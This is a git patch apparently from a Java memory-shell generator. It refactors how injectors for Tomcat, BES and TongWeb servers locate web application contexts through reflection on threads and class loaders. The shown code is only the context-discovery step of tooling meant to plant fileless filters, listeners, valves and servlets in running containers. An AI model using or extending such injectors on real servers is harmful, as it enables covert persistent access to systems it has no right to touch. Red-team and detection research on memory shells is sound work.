From 63731a3d6b2ef02b02b03d979980def7dfb13a0c Mon Sep 17 00:00:00 2001 From: ReaJason Date: Tue, 2 Dec 2025 19:33:01 +0800 Subject: [PATCH] refactor: simplify fetch context from spring --- .../injector/bes/BesFilterInjector.java | 10 ++++++++++ .../injector/bes/BesListenerInjector.java | 14 ++++++++++++-- .../injector/bes/BesValveInjector.java | 10 ++++++++++ .../injector/tomcat/TomcatFilterInjector.java | 18 +++++++++++++----- .../tomcat/TomcatListenerInjector.java | 14 ++++++++++---- .../tomcat/TomcatProxyValveInjector.java | 14 ++++++++++---- .../injector/tomcat/TomcatServletInjector.java | 14 ++++++++++---- .../injector/tomcat/TomcatValveInjector.java | 14 ++++++++++---- .../tomcat/TomcatWebSocketInjector.java | 14 ++++++++++---- .../tongweb/TongWebFilterInjector.java | 15 +++++++++++---- .../tongweb/TongWebListenerInjector.java | 13 ++++++++++--- .../injector/tongweb/TongWebValveInjector.java | 13 ++++++++++--- 12 files changed, 126 insertions(+), 37 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java index c79ae797..cc615f7b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java @@ -83,6 +83,16 @@ public class BesFilterInjector { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java index 94376086..f165de99 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java @@ -64,8 +64,8 @@ public class BesListenerInjector { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { @@ -75,6 +75,16 @@ public class BesListenerInjector { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java index acfbe23b..bb82522e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java @@ -74,6 +74,16 @@ public class BesValveInjector { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java index 5c7b762a..8d949331 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java @@ -7,7 +7,9 @@ import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -82,10 +84,16 @@ public class TomcatFilterInjector { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") - || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java index ba820b88..71957631 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java @@ -73,10 +73,16 @@ public class TomcatListenerInjector { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") - || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java index 42680e37..3fc29891 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java @@ -99,10 +99,16 @@ public class TomcatProxyValveInjector implements InvocationHandler { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") - || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java index 53cbbe16..bb529d4f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java @@ -80,10 +80,16 @@ public class TomcatServletInjector { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") - || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java index 2fdcefb9..d5ae5619 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java @@ -73,10 +73,16 @@ public class TomcatValveInjector { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") - || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java index bf822cc2..1ee4817a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java @@ -79,10 +79,16 @@ public class TomcatWebSocketInjector { HashMap children = (HashMap) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") - || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java index baa42b8f..19aa77ac 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java @@ -41,8 +41,8 @@ public class TongWebFilterInjector { } if (contexts != null) { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -91,9 +91,16 @@ public class TongWebFilterInjector { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } }catch (Exception ignored) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java index 537c0308..4f3ec80c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java @@ -74,9 +74,16 @@ public class TongWebListenerInjector { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java index 3821e078..8e7f47bc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java @@ -74,9 +74,16 @@ public class TongWebValveInjector { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts;